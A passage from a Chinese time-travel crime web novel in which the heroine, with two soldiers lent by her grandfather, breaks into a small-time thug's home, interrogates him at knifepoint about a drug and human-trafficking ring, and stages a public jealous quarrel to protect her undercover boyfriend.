如今她知道了,楚隽他们,现在正在做一件很危险的事情。这事情牵扯一桩秘密又严重的毒品案件,在这一场对决中,许骧会死,楚隽呢?许醉呢?其他隐藏的或者没有隐藏的公安干警呢? 她做的事情,或许能让损失降低很多,这就是值得的。 不知道也就罢了,知道了却不做,安暖没有这么狠的心。 她在后世确实没有机会了解这桩案子,但是有一个人,可能知道一些。 就是当年她接触过的雷东子,雷晓飞。 当年,雷晓飞五十多,快要六十岁。 现在,他应该不过是二十岁的一个年轻人。 没上学,没工作,游手好闲,被人利用走私毒品而不自知。 但是他接触到了这条线上的一些人,抓住他,他就是个突破口。 第215章 我要两个人 安暖一口气冲回了警局。 这会儿大家还没下班,不过已经在收拾东西了。 今天没案子,可以准点下班。 看见安暖回来,坐在最外面的卢瑞泽便道:“小安,回来啦,没和楚隽一起啊。” “啊,没。” 安暖应了一声。 “怎么了?”卢瑞泽看安暖那样子,奇道:“有什么事儿吗?” “没,没事儿。”安暖摇了摇头。 她一时犹豫了起来。 这事情现在怎么办? 她知道雷东子跟这事情有关,但雷东子是个混混。即便只是个小混混,也不是她一个人能搞定的。 她武力值太低,抓不住人。非常容易不小心搭进自己,这可就偷鸡不成蚀把米了。 必须要找人帮忙。 但这个人,能找谁呢? 楚隽现在肯定不行了,说不定他身边已经有了人监视。 局里的人,看似都可靠,但这必须是万无一失的事情。万一有些人不是看上去那么可靠呢? 楚隽的事情卢瑞泽他们显然都不知情,既然这样,她也不能冒险。 无论是卢瑞泽,还是江笑愚,或者局里其他的人,都不合适。 安暖看着一个个跟她打招呼下班的刑警队成员,心里有苦难开口。 她在楚隽的办公室里坐着,脑子里飞快的转着。 旁人都只以为她在等楚隽,倒是也没有多想,办公室里很快就空荡荡了。 安暖看着电话纠结半天,打通了一个号码。 她往家里打了个电话。 现在这个时候,能让她完全信任的人,只有一个。 电话通了,安暖说:“王姨,我找爷爷。” 翟老爷子接了电话。 “暖暖找我啊,这段时间挺忙的吧,都好几天没回来看爷爷了。” “是,出了一些事情要解决。”安暖说:“爷爷,我有个事情,想要求你帮忙。” “你说。”翟老爷子很爽快。 安暖说:“我想请爷爷帮我找两个人。” “什么人?” “身手好,能打,有见识,嘴严。对京市熟悉,但关系不要在京市。要您绝对信得过的,好人!” 翟老爷子一听就愣住了。 “这是出什么事情了?”老爷子顿时觉得不妙:“楚隽呢?” “楚隽忙工作去了,不能找他。”安暖说:“爷爷,你相信我吗?我现在真的需要人帮忙,我不会乱来的,是真的有事儿。” “什么事情?” “我不能说。” 这绝对不能说,至少现在不能说。 安暖已经想好后续了,如果雷东子那边确实能查到和本子案子有关的事情,后面确实帮上了忙,到时候她随便找个理由就能敷衍过去。 什么在路上听见有人聊天这样的都行,反正是立了功成了事儿,理由就算很扯,也不怕人查。反正她是清清白白的。 就像是她的天才人设,别说楚隽,只要是认识的人,有一个算一个,都觉得很匪夷所思。但就算全身都是破绽也不怕,因为没有人能找到任何证据。 翟老爷子沉默了。 “爷爷。”安暖着急道:“我现在唯一能完全信任的人,只有你了。你相信我,我不会乱来的。” 翟老爷子又沉默了一分钟,终于道:“好。” 安暖松了一口气。 “暖暖啊。”翟老爷子说:“爷爷我看人一向都准,我能看得出来,你是个有勇有谋,聪慧睿智的姑娘。爷爷相信你,给你安排两个人,只要不是杀人放火的事情,他们都听你的。但是你也一定要注意安全。” “好的,谢谢爷爷。” 安暖本来想提一句,最好能让带枪的。但是又觉得这个话敏感了一些,不太好提。 想想还是没说,翟老爷子是上过战场见过世面的,应该心里有数。 也不知道翟老爷子安排的人什么时候到,安暖暂时也没地方去,就在楚隽的办公室里等了下来。 反正他的办公室里有沙发,有毯子,中午能休息,晚上也能休息。 安暖就这么迷迷糊糊地睡着了。 迷迷糊糊中,她做了一个梦。 梦里,她站在安静的陵园,面前是一排一排的墓碑。 最近的一块是许骧。许骧旁边还有两块,她想要看清楚,往前走了两步。只见中间的一块上,隐约写着楚隽的名字。 安暖大惊,往前快走一步,可那墓碑竟然往后退了一些,无论怎么样,她都看不清名字。 一阵急促的电话铃响起,安暖猛的坐了起来,一头冷汗。 是一个噩梦。 黑夜中的铃声,格外的刺耳。 安暖连忙接了电话。 “你好。”电话那边,是一个年轻的男性的声音:“请问是安暖同志吗?” “是,我是。” “我们是翟老爷子请来的。”男人说:“我们在警局外等你。” 安暖看了下手表。 现在是凌晨一点二十五。 老爷子做事果然雷厉风行,这两个人这个时间出现在这里,显然是连夜从外地来的。 安暖也知道自己这个要求有些矛盾。 既要对京市熟悉,又不要是本地的队伍。 没办法,因为她不熟悉,如果再来两个外地人,无论做什么都摸瞎,就是要去找雷东子,知道地址都找不到路。 但如果找关系在本地的,安暖实在不知道,他们会不会和这案子本身有牵扯。以防万一,离得越远越好。 翟老爷子相信她,她现在也需要完全的相信翟老爷子。 信任是相互的,要是谁都不信,她自己也成不了事。 安暖立刻道:“稍等,我马上出来。” 安暖立刻拎了包出门。 警局门口果然停了辆越野车。 车窗开了一半,能看见驾驶室一个人,后座上一个人。 安暖走了过去。 刚走到驾驶室门口,里面的人伸手推开了车门。 “你就是安暖同志吧。”那人说:“翟老爷子,让我们过来帮你。” 安暖上车关了门。 打量了一下男人。 一看便很干练的样子,寸头,精壮,长袖里的胳膊也看出隆起的肌肉。 安暖的视线甚至在对方的腰上停留了一秒,以她的经验判断,有枪。 安暖放心了,翟老爷子没有糊弄她。 “你好,我叫曲嘉。”男人伸出手跟安暖握了我。 “曲哥你好。” 第216章 翻墙入室 她回过头,后面还有一个,半个人都融在昏暗的后座,穿着一身黑,甚至不太看的清楚脸。 “蓬钧。” 后面的人简单地说。 安暖心里一跳。 我靠。 这名字她听过啊,不知道是不是这两个字,但是同名同姓的肯定听过。 安暖立刻道:“蓬同志的名字,是哪两个字?” 蓬钧道:“蓬莱的蓬,力拔千钧的钧。” 这个姓不常见,这个名字很难有同名同姓的。 安暖窃喜。 曲嘉这个名字她是第一次听,但是蓬钧可不一样。这可是后世能载入史册的兵王,单兵作战能力何其彪悍,传说一样的人物。 不过现在听着声音还挺稚嫩的,估计年纪还不大,也就是二十来岁。 现在还不是兵王,只是个兵哥哥,但肯定已经初露锋芒了,要不然的话,不会被翟老爷子器重。 安暖虽然现在心里都是事儿,但也难免好奇,甚至想要爬到后座去,把蓬钧扒拉出来仔细的看看。 不过不太合适,蓬钧好像有点高冷,虽然礼貌地报了自己的名字,但身体挪都没挪动一下,也没跟她握个手什么的。 安暖也不好进一步的主动了。 “两位,长话短说。”安暖说:“带我去找一个人。” “好。” 曲嘉启动汽车,往前开去:“去哪儿?” 他们接到的命令就是,不要问为什么,服从,除非安暖的要求不合法不合规。 安暖说了一个地址。 “常山路,胡同口。” 这是雷东子少年时期住的地方,虽然几经规划,但大体的位置是不变的。 “好。” 曲嘉执行力非常强,有了地方就开。 安暖沉默了半路,这才开口。 “我要去找一个人,这个人大名叫雷晓飞,绰号雷东子。这个人,和我要查的一件事情有关,我要你们不知不觉,悄悄的把人绑来。不,绑出来容易被人发现,他家只有他一个人,我们悄悄的进去,把人控制住。” 上辈子的资料显示,雷晓飞父母过世的早,十来岁就辍学瞎混,一直是一个人住。最多偶尔有来历不明的女朋友。 车后座的蓬钧没有表示,曲嘉就活泼多了。 “行。”曲嘉说:“老爷子吩咐了,听你的。” 虽然他对听一个小姑娘使唤心里觉得有些奇怪,但老爷子的吩咐,照做就是。肯定不会瞎吩咐,执行命令就行。 “多谢二位大哥。”安暖抱了抱拳:“以后有机会,请你们吃饭。” 安暖是真心想请他们吃饭,还想请蓬钧给签个名,但现在当然只是一句客气话,谁也没当真。 曲嘉果然是对京市熟悉的人,进大街,转小巷,很快就到了安暖说的地方。 车在路边停下。 “到地方了。”曲嘉指着前面的巷子说:“你要找的人,门牌号是什么?” 安暖说出一句叫人心里拔凉拔凉的话来。 “我也不知道,就知道他住在这条巷子里。大约是中间的几户。” 曲嘉用一种匪夷所思的眼光看着她,提出了一个自己担忧的问题。 “你不知道他住在哪里,那……如果这个人出现在你面前,你能认出来吗?” 可别地址也不知道,人也不认识,这是来玩儿的呢? “认识。” 安暖斩钉截铁地说。 虽然她没见过二十岁的雷晓飞,但是见过六十岁的雷晓飞。 一个人二十岁和六十岁的样子,就算是被岁月磋磨的厉害,她也一定能认的出来。 “那就好。”曲嘉说:“既然如此,就一家一家地去找吧。” 安暖应着,下了车。 蓬钧也下了车。 看着一片黑暗,蓬钧说:“你有什么想法。” “看院子里。”安暖道:“雷晓飞是个二十岁的混混,一个人住,无正当职业。他的院子里不会有女人孩子的衣服,不会有老人的衣服,比较凌乱,晾晒的衣服是廉价而时尚的。不会种菜,不会养鸡鸭,不会挂熏肉香肠,不会晒菜干。” 拖家带口的人家,和单身汉一个的人家,自然是不一样的。 至于爬上院子墙头看一看,对蓬钧和曲嘉来说,都不是什么难事儿。 听安暖说完,两人脸上都露出欣慰的表情。 安暖思维清晰敏锐,给这样的人搭把手,也不是太憋屈。 最怕自己傻兮兮,带都带不动。 三人走进黑暗。 到了巷子中,安暖做了个邀请的姿势。 “两位大哥,麻烦了。” 脑子她可以一起动,但其他的就不行了。翻墙这种事情,还是交给伸身手好的人吧。 两个人分头行动了起来。 安暖看着两人嗖嗖嗖,一人消失在一个墙头,不由得心里十分感慨。 她这些日子,也跟着楚隽学了一些,但时间尚短,又有一天没一天的,进展实在缓慢。 安暖郁闷地捏了捏自己的细胳膊细腿,觉得还是要加强锻炼啊。 几分钟的时间,两人就出来了。 这家院子里,不但有老人的衣服,还有小孩儿的衣服。 就这么看了好几家,这一次的时间比较长,只有曲嘉一个人出来了。 “应该就是这家。”曲嘉说:“进来吧。” 安暖抬头看了看院子墙。 曲嘉走到墙边曲起一条腿蹲下,然后拍了拍膝盖。 “踩着我的膝盖,能上去吗?” 安暖知道自己拖后腿了,但是在这件事情上她也没办法。她要是有本事拳打南山少林,脚踢嵩山武当,她也不用找翟老爷子的关系,叫人来帮忙了。 院子墙也不是特别高,安暖挽了挽袖子,说了句:“那我踩了啊。” “踩。” 安暖也就不矫情了,踩上了曲嘉的膝盖。 曲嘉一用力,将她往上一托。 安暖感觉自己飞了起来,两只胳膊伸长,正好抓住墙头。 但是她自己的力气想要把自己拽上去,那是做不到的,而且挂不了一会儿。 好在曲嘉明白,立刻就纵身上去,蹲在墙头,一把抓住了安暖的胳膊,一使劲儿,轻松就将人拽了上去。 然后曲靖先跳下围墙,低声说:“别怕,你转过来往下跳,我接着你。” 第217章 匕首架在脖子上 安暖虽然体力不行,但从不胆小,也不矫情。 她在墙头转了一下方向,两脚往下探去。 当然她知道是够不着底的,但是在空空荡荡的时候,有人扶住了她的小腿。 曲嘉说:“放心吧,放手。” 安暖立刻就放了手。 身体猛地往下落去,但没有轰的一声落在地上。 曲嘉在安暖腰上扶了一下,卸了一些往下的冲力,立刻就放了手。安暖已经顺利的踩在了地上。 “谢谢。”安暖道了一声谢,拍了下手上的灰,站稳了。 “不用客气,人在房间里,跟我进来。” 曲嘉转身往房间里走去。 可能是怕引起别人的注意,房间里没有开灯,只有昏暗月色。 进了房间,堂屋里就更暗了,安暖从口袋摸出来手电筒。 夜里出来干事,别的都能不准备,手电筒是一定要准备的。不过曲嘉没开口,她也就暂时没拧开手电。 有曲嘉在前面走,她跟在后面,虽然看不清,也不至于撞墙。 曲嘉打开了卧室的门,卧室里有亮光。 蓬钧手里,也拿着一支手电筒。 床上有个人,两手被捆着,脖子上,架着一把匕首。 蓬钧一手举着手电筒,一手拿着把匕首架在男人脖子上,问安暖:“你看看,是这个人吗?” 那人只能呜呜呜的。 可怜的很,虽然嘴巴没有被塞住,但是眼睛被蒙住了。 “大哥,大哥别杀我。”男人能感觉到脖子上冰冷的刀锋,动都不敢动,只能胡乱道:“大哥,我什么时候得罪过您,您大人不记小人过。” 安暖也拧开了手电筒,又一道光照在男人脸上,更清楚了。 她仔细地看了看,使劲儿地回想了一下。 “不错,就是他,雷晓飞。” 雷晓飞懵了,刚才还在喊大哥,这下改口了 “大……姐?”雷晓飞也是能屈能伸:“大姐,我是不是冒犯过您,您千万不要和我计较,我就是个屁,您就把我放了吧。” 雷晓飞这样的人,安暖以前接触过不少,十分了解。 又怂又横。 见风使舵。 变脸比翻书还快。 他们很难掌握什么核心机密,但是只要他们知道的事情,也藏不住,一问,就能问出来。 安暖道:“别废话,问你几个问题。回答的好,就放了你。回答的不好,就弄死你。” 雷晓飞连连点头。 “您问,我知道的一定说。” 安暖道:“你跟着的老大,是什么人?” “茅,茅峻。” 一个没听过的名字,安暖说了句等下,然后从裤子口袋里掏出个本子,又拿出根笔,开始记录。 曲嘉看了他一眼,大概没想到安暖还会记笔记。不过他十分有眼力劲儿,接过来安暖手里的手电筒,让她可以记录得方便点。 “这个茅峻,上面还有人吗?” “有……” “叫什么名字?” “不知道。” “不知道?”安暖停下笔:“既然不知道,你怎么知道他上面还有人的?” “我听他打过电话,闲聊的时候,也说起来过。”雷晓飞的胆子和安暖想的一样大。他不知道来的是什么人,但是他能感觉到架在脖子上的匕首,一点儿隐瞒都没有,知道什么,说什么。 “具体说说,仔细想想。” 雷晓飞一边努力回忆,一边道:“好像有一个,叫什么……三哥?” 安暖心里咯噔一下,这个三哥,说的很可能是许三,就是许骧。 许骧之前说,自己之所以被称为三哥,跟排名有关。 有没有可能,他在团伙里排行老三? 上面还有老大,老二。 毒贩比普通人更清楚贩毒是什么样的后果,他们越是老大,藏的越深。 许醉已经从警校离开五年了,如果五年的时间都没能收网,要么是没有确定这个人是谁,要么,虽然确定了这个人是谁,可是一直没有确凿的证据。 所谓确凿的证据,就是找到制毒藏毒的窝点,或者抓住交易现场。鉴于他们有可能正在进行人体贩毒,还有大批被拐卖人口。 这段时间严打,给拐卖人口的犯罪行为带来了很大的不便,这也有可能是对方计划生变,让楚隽不得不以身入局的原因。 但安暖管不了这个,楚隽要做的事情,她不知道,不能问。 她要做的事情,楚隽也不必知道。 这是两条线,各做各的,只要她配合的好就行。知道了反而容易互相牵制。 “还有呢?”安暖没有纠缠三哥的事情:“除了三哥,还有什么?” 雷晓飞对三哥不了解,要不然几十年后,也不会说,这是他道听途说来的名字。 “没,没了……”雷晓飞说:“我真不知道了,我就是个小喽啰,老大要是有什么大事儿,也不会告诉我啊。” “那你常给雷晓飞干的活儿是什么?” “就是充充场面。”雷晓飞说:“干点跑腿的活儿。” “具体点。” 安暖用笔敲了敲雷晓飞的脑袋:“给我从今天开始,做的事情一桩桩,一件件地说。说完今天的,说昨天的,说完昨天的,说前天的。” 雷晓飞这个级别,有些事情做了都未必知道是为什么。 只要执行,别问原因。 随时可能吃枪子儿的人,可比一般人要警惕心高得多。 雷晓飞真是欲哭无泪,开始一点点回忆了起来。 安暖一边听,一边开始翻找他的房间。 搜证这活儿,对她来说真是再熟悉不过了。 她从曲嘉手里拿回来手电筒,开始翻柜子,翻抽屉,看床底……蓬钧和曲嘉看着她搜,同时在心里确定。 这姑娘不是一般人,难怪是从刑警队出来的,看这手法,看这熟练,绝对是内行。 安暖从抽屉深处,找出一个盒子。 盒子打开,里面有一些钱,还有几件黄金。 其中一个黄金耳坠,引起了她的注意。 雷晓飞已经从今天说到了前天,他听见了安暖翻箱倒柜的声音,但匕首架在脖子上的时候,命比钱重要。 只希望他们劫了财,就不要害命了。 “等一下。”安暖说:“前天,也就是十月二十七号,你说,你开车送了一车货物,去郊外的林场?” 第218章 深挖 “是,是这样。就是红星林场。”雷晓飞说:“我,我啥也不知道……都是老大派的活儿,让干什么干什么。大姐,其实我就是找正经工作,但并不是整天游手好闲的,我也是赚点辛苦钱。” 雷晓飞觉得自己说的十分真诚。 但是安暖看了看手里的黄金耳坠,又看了看雷晓飞。 “你说谎。”安暖说:“既然不肯说真话,那留着没有什么用处了。蓬哥,弄死他。” 蓬钧用你疯了的眼神看了安暖一眼。 安暖回视,非常平和,没有开玩笑,请照做。 蓬钧冷冰冰说:“好。” 说完,他伸手卡住了雷晓飞的脖子。 雷晓飞瞬间毛骨悚然。 他也在外面摸爬滚打这么久,知道什么是弄虚作假,什么是真的杀意。之所以他这么乖没有反抗,就是因为能感觉到,蓬钧是真不开玩笑。 几乎没说话,但手下一点没狠。 雷晓飞立刻挣扎起来,一边挣扎一边说:“我说,我说。” 蓬钧放松了一些手上的力气。 他当然不能掐死谁,但配合一下,还是可以的。 从看了安暖在房间里搜证的手法之后,他们两人又安心了一些。 翟老爷子果然是靠谱的,虽然不知道安暖到底是什么人,看样子像是公安系统内部的人,说不定是在执行一个秘密任务。这任务机密到,连本地的公安系统都不能知道,所以才从外面要了他们俩。 既然如此,他们是一句话都不会多问的。 保密两个字,刻在骨子里。 雷晓飞喘着气说:“不,不仅仅送货物。偶尔,偶尔还会送人。” “不是偶尔送人,是经常送人吧?”安暖道:“你抽屉里的这些黄金,就是从被你送去林场的女人身上,拽下来的?” 雷晓飞脸都白了,他脱口而出:“你这么知道?” 这很难猜吗? 雷晓飞被后来是被判了十年的,前阵子有被开膛剖腹疑似人体藏毒的尸体,黄金耳坠上有血迹,茅峻是混混的老大,不是送货的商人。 “你别管我怎么知道。”安暖莫测高深:“你今天要是能把知道的事情交代清楚,日后可能还有减刑的可能。要不的话,明年的今天,坟前草可就比人还要高了。” 雷晓飞一听,大叫冤枉。 “我就干过那一回。”雷晓飞说:“前天下午,老大,就是茅峻,让我送几个人去林场,我就去了。我发誓,就这一回,再没有第二回。” “听起来很正常。”安暖接过蓬钧手上的匕首:“这几个人有什么不一样呢?为什么你不直接说,送几个人,而要说送一批货呢?这几个人在你心里,为什么是一批货?” 什么样的人,才能给人的感觉是一批货? 雷晓飞说:“是几个妇女,被捆着在后车厢里,也不说话,昏昏沉沉的,我,我就动了心思……拽了几个金首饰。” 一对金耳坠,一个金戒指。 虽然都不大,但黄金本身就是个值钱的东西。 雷晓飞不是直接绑架拐卖她们的人,上一波人,竟然没给全身值钱的东西都搜罗尽了。这就证明,要么,他们赶时间太着急,来不及细细的搜。 要么,不在乎这点钱。所以便宜了中间当司机的一个雷晓飞。 安暖对这几个金饰品不感兴趣,直接道:“将人送去林场,然后呢?交给了谁?” “我也不知道。”雷晓飞说:“没有人和我接头,只是让我把车开在林场门口,把人放下,然后就可以离开了。我可招惹不起大人物,放下人就走了。回去之后,老大给了我一百块钱。” “一百块钱……只给了你一百块钱……”安暖说:“那你知道你们老大,这一趟赚了多少钱吗?” “这我可不敢问,要是问了,他还以为我嫌弃给少了呢。”雷晓飞说:“这一百块够我花好一阵子了,挺多了,我很满意。” “是挺多,不但够你花好一阵子,还够你蹲好一阵子,还管吃管喝呢。” 安暖冷笑了一声。 看样子雷晓飞果然是个边缘人物,不可能直接知道核心消息。 但是他提出了两个关键,一个是他的老大茅峻,另一个,是郊外林场。 安暖略一思考:“把人带着,去找茅峻。” 既然都找了,就一不做二不休。 楚隽他们从核心集团攻进去,虽然利落但是危险。 她从边缘下手,出其不意,未必就没有奇效。 这回蓬钧都不用安暖多说,直接就把雷晓飞给拎了起来。 “走,带我们去找茅峻。” “去,去,给我穿件衣服……”雷晓飞连连点头,一点儿反抗的想法都没有。 他想的特别实在。 虽然不知道怎么招惹了这几个人,但显然这几个人不是冲他来的,是冲他上面的人。只要祸水东引,安暖要是找到了茅峻的麻烦,自然就不会再找他的麻烦了。 死别人,总比死自己好。 曲嘉简单粗暴地从一旁拿了衣服给他裹上,匕首在背后一戳。 “走,别耍什么花招,要不然的话,你这条命就没了。” 雷晓飞颤颤巍巍地往外走,鞋子都穿错了边。 茅峻住得不远,就在两条街之外。 上了车,还是曲嘉开车,蓬钧压着雷晓飞在后座上。 安暖想了想,说:“曲哥,蓬哥,我必须告诉你们,我们这一趟,可能会有危险。如果……” 话没说完,曲嘉哼笑了一声。 “你这是打我们脸呢?” “不是这个意思……我没有这个意思。” 本来,安暖以为从雷晓飞身上,就能找出要的线索。但现在显然不是,现在还要往深处挖。 不是每个人,都像雷晓飞一样好对付的,她必须把利害关系说清楚。 危险也不是她带来的,卖命也不是给她卖命,但必须对方心甘情愿才行。 蓬钧淡淡道:“你是为了一己私利吗?” “那不是。” 安暖厚着脸皮说有,怎么也是为了国泰民安吧? “那就行了。”蓬钧说:“走吧。你放心,我们俩会护你周全的。” 第219章 桃色新闻效果最好 蓬钧这么一说,安暖彻底放心了。 “走,开车。” 三个人像是要上战场勇猛的战士,只有雷晓飞蔫了吧唧,好像是去赴死。 很快就到了茅峻家门外,这一回不用一家一家的去找,雷晓飞确定的知道他住在哪里。 还是蓬钧打头阵,他也不怕对方有埋伏,按着雷晓飞说的地方,悄无声息地摸了进去。 他们也不怕雷晓飞会给假消息。 因为雷晓飞就在车上,如果给了假消息,就要他的命。 过了一会儿,蓬钧回来了。 还是一个人。 他上了车,关上门,说:“是茅峻的家没错,我在房间的桌上看见了他的名片。但是家里没有人。” “出门去了?” 安暖顿时转头看雷晓飞。 可惜了,雷晓飞眼睛还蒙着呢,看不见她威胁的眼光。 安暖用脚尖踢了他一下。 “人不在家,去哪儿了?” 雷晓飞被踢了一下,才后知后觉反应过来。 “我不知道啊,我就知道茅哥住在这里。”雷晓飞慌忙道:“他不在家我是真不知道,他是老大,去哪儿也不会跟我说。” 这也就麻烦了。 安暖道:“他有什么常去的地方吗?” “就,饭馆,歌舞厅什么的……”雷晓飞说:“可那都是白天开门的,晚上也不开门啊。” 看雷晓飞的神情,不像是说谎。 找不到人,这可麻烦了。 蓬钧和曲嘉都看着安暖,等他下一步指示。 安暖沉吟片刻,又看了看表。 “大家就在车里等一等,看看明天早上,茅峻会不会回来。” 守株待兔不是一个聪明的办法,但现在她掌握的信息太少,一时也没有更好的办法。 还有一个线索是红星林场,可如果那个林场真的有问题,晚上是最警觉的时候,他们一俩陌生的车,几个陌生的人,是很难靠近的,只会打草惊蛇。 如果能将茅峻拿下,茅峻一定知道更多。 等天亮,如果茅峻没回来,再让雷晓飞带着,去他有可能去的地方找。 现在已经三点了,离天亮已经没多久了。 安暖安排了接下来的任务,曲嘉便道:“行,我们俩轮流守着,你休息吧。你不能跟我们比,熬了一夜,明天也没精神。” 安暖想想也是,便不跟他们客气。 他们俩是认识的,一定也有合作,盯梢这种事情肯定做过,一定会安排妥当的。 当下,安暖就靠在椅背上,闭着眼睛休息。 脑子里全是事儿,能不能睡着另说,闭目养神也是好的。 五点,外面就开始有了声音。 五点半,声音更大了。 好在他们这车的车窗玻璃做了处理,里面看得见外面,外面看不见里面。 安暖这几日本就没睡好,昨夜就睡了两个小时,更是困得很。虽然听着声音,但有些不想睁开眼。 反正有人盯着,她还想再迷糊一会儿。 正在纠结挣扎中呢,突然,被曲嘉喊了一声。 “小安。”曲嘉低声喊了一声,并且扯了扯安暖的袖子。 安暖一个激灵,连忙睁开眼睛。 “怎么了怎么了?” 曲嘉道:“看那边。” 难道是茅峻回来了? 安暖顺着曲嘉的指点看过去。 这一看很是意外,不是茅峻,竟然是楚隽。 楚隽怎么会这么早,在这个地方? 楚隽身边不是别人,正是许醉。 两人正站在一个早点铺子门口,在买早点。 安暖条件反射的看了看时间,现在是早上五点半。 这两个人,怎么会在这个地方? 就算是重温旧梦处对象,这是不是也太早了点? 曲嘉不知道她的身份,但认识楚隽并不奇怪。 他是翟老爷子介绍来的,也许去过老爷子家,认识楚隽,理所应当。 只是不知道他看见楚隽,为什么要喊自己。 安暖正要说话,没想到曲嘉道:“这两个人有问题,他们好像也盯着茅峻家在。” 这一说,安暖顿时觉得不对。 因为楚隽和许醉现在背对着茅峻家,正站在早点铺子前。 曲嘉说的莫非不是他们俩。 雷晓飞已经打昏了,坐在后座的蓬钧也仔细观察了一下,说:“不,他们盯着的,是站在早点铺子前的那一男一女。” 曲嘉道:“这两个人,莫非也有问题?” 看来他们还是不认识楚隽,只是在怀疑他。 安暖顿时紧张起来:“包子铺前面的那个男人,是自己人。他们被盯上了,我得去帮忙。” 曲嘉一听:“自己人?” “是。” 但是要怎么帮忙? 安暖深吸一口气:“曲哥,蓬哥,我下去帮忙。你们盯着点,一会儿我要是被人盯上了,记得捞我。” 两人还没来得及问安暖要怎么帮忙,安暖就已经拉开车门下去了。 没时间墨迹,剩下全靠默契了。 安暖快步走向包子铺。 楚隽和许醉这个时候出现在这里,十有八九是来查看一些事情的。但是他们被人盯上了,就是被怀疑了。 安暖要给楚隽一个,合适的出现在这里的理由。 这世上还有什么比八卦绯闻,爱恨情仇,更能让人放松警惕的事情呢? 安暖走过去之后,便说:“老板,我要十个肉包子。” 听见熟悉的声音,楚隽和许醉一起转过头来。 看见安暖,这两人眼里的意外也有些遮不住。 他们也一样想不出,为什么安暖会出现在这里。 安暖也是一愣。 “阿隽,你怎么会在这里?” 楚隽脸上这一抹愕然不是装的。 “你也来买包子?”安暖及时引导了话题,让楚隽跟上自己的步伐:“你昨晚不是加班吗,怎么会一早来这里买包子?” 楚隽终于找到了自己的声音:“你……怎么会在这里?” “我来买包子啊。”安暖说:“我想着你昨晚加班辛苦了,就来买你最爱吃的这家包子……等下,你怎么会跟这个女人在一起?” 安暖指着许醉,把一个抓奸的正室表现的淋漓尽致。 许醉脸上闪过一丝惊慌,惊慌完了,又是一丝傲慢。 楚隽看了眼许醉,有点尴尬。 安暖顿时爆发了。 “你说,你为什么会一早和她在一起?你昨晚到底是不是去加班了!” 路人一听有八卦,虽然不好驻足观看,也一个个放慢了脚步。 安暖眼角余光看着那两个盯梢的人,他们也装作不在意的竖起了耳朵。 第220章 主动出击 安暖说着,眼神往后一斜。 楚隽顿时懂了 抓奸,这不符合安暖的性格。 就算有天大的事情,安暖也绝对不会在街上纠缠这种事情,她在提醒自己。 这一刻,楚隽来不及去想安暖为什么会在这里,为什么会提醒自己,只能跟着她的节奏往下演。 “说呀!”安暖见楚隽没说话,推了他一把:“你是不是背着我,跟这个女人在一起?我知道她是你前女友,你们旧情复燃了?” 楚隽的脸色略变了一下。 “你别瞎说。”许醉有点尴尬开口:“我和阿隽……” “还说没有?”安暖顿时炸毛:“阿隽是你叫的吗?” 说着,安暖抬手就要抽她,手抬到一半,被楚隽一把抓住。 “你干什么。”楚隽也不高兴了,沉声道:“说话就说话,别动手。” “好,我不打她。”安暖冷笑一声:“我打你。” 楚隽刚松手,安暖反手就是一巴掌拍在他脸上。 啪的一声,清脆作响。 周围看热闹的人都缩了缩脖子。 看着都痛。 安暖也不想打楚隽,不过穿越前短剧看多了,总觉得在矛盾里,磨磨唧唧的放狠话是不能一下子冲上情节高潮的。 唯有动手可解。 爽快! 能快速达到目的。 楚隽的脸被打的往一旁偏了一下,许醉也吓了一跳,立刻道:“安暖,你怎么能打人?你自己留不住人,跟我有什么关系?” 楚隽一把抓住许醉的胳膊。 “你没事儿吧?”许醉担心的看着楚隽。 “不要紧。”楚隽转过脸来,叹了口气:“不过本来,这事情我是想等一等再说的。既然被你碰见了,那咱们今天就把话说明白吧。” 安暖暗暗酝酿情绪:“你说。” 楚隽道:“安暖,我们分手吧。我们其实也没有什么感情,全是长辈撮合,在一起也是勉强。” 安暖伸手在自己胳膊上,狠狠的掐了一下。 痛得要死! 安暖瞬间睁大了眼睛,眼泪夺眶而出。 “好,你记住你说的话,我看你回家怎么交代。”安暖狠狠地点了一下楚隽:“分就分,你这样不清不白的狗男人,我还不稀罕呢!” 安暖说完,绷着脸转身就走。 安暖快步走进了一旁的巷子里,没有停下脚步,还有一点心慌。 她觉得有点不对劲,刚才跟踪的人,好像有一个跟上了她。 这是要干什么? 无论如何,可不能落在对方的手里。不是每个人都是许骧,毒贩,那是丧心病狂没有人性的,不能冒这个危险。 安暖心里盘算着怎么脱身,刚转过一个转弯,突然有人欺身而上,一手搂住她的肩膀,一手捂住了她的嘴。 安暖猛的正大了眼睛。 “是我。”那人低声说了一句:“别怕。” 安暖顿时就安心了。 是蓬钧。 蓬钧和曲嘉刚才都在车上,一个人继续盯着巷子口,一个人盯着她。肯定是发现了不对劲的地方,过来帮忙了。 安暖松了口气。 蓬钧揽着她快步往前走,一边走,一边问:“要把这人抓起来吗?” 安暖犹豫了一下,还是道:“先不用。我们赶紧先离开。” 这两个人是跟着楚隽和许醉来的,虽然不知道他们来做什么,但跟着自己只是个意外。不要吸引过多的视线。 只是小喽啰,不会知道太多,抓起来意义不大,反而容易打草惊蛇。 “好。” 蓬钧应了一声,他对这一片果然很熟悉,在巷子里三转两转的,等安暖再抬头,发现自己回到了停车的地方。 果然是个四通八达的巷子啊。 楚隽和许醉已经不见了,盯梢的人也已经不见了。 两人迅速上了车,关上车门。 这样,就算对方跟了出来,也找不到人了。 安暖松了口气,但是明知道楚隽已经不在外面了,还是有些担忧的看了看,还捂了一下胳膊。 一上车,曲嘉便道:“受伤了?” “啊?”安暖愣了一下:“没有啊。” “那你捂着胳膊?” 安暖尴尬放手,换了一下姿势捂住胸口:“失恋了,心口痛,捂错了地方。” 刚才掐自己那一下掐的太狠了,肯定青了紫了,也不知道破皮没有,到现在还隐隐作痛。 曲嘉十分无语。 不过安暖没让他们帮忙打负心汉渣男,可见这件事情现在不重要。 他们不是来做爱情顾问的,不管安暖是真失恋还是假失恋,都不重要。 蓬钧拍了拍后座雷晓飞的脸,见他没有清醒的迹象,便道:“现在怎么办?还在这里守着吗?” 未必能等到。 “不能等了,主动出击。”安暖说:“去红星林场。” 这个地方,非常有可能是一个窝点。 如果稳妥一些,她应该把这个情况上报,让正规警力组织去查的。 但是现在没办法,她既没有证据,也说不清楚。万一红星林场没问题呢?她一个姑娘,带两个哥哥过去,不会有什么后果。要是告诉了警方,就会被太多人知道。 她不敢,因为她不能确定是不是每一个自己人,都是真的自己人。 这也是为什么卧底要单线联系的原因,稍有不慎,满盘皆输。 好在曲嘉和蓬钧是真听话,像一把好使的枪,让打哪儿,就打哪儿。 “好。”曲嘉发动车辆。 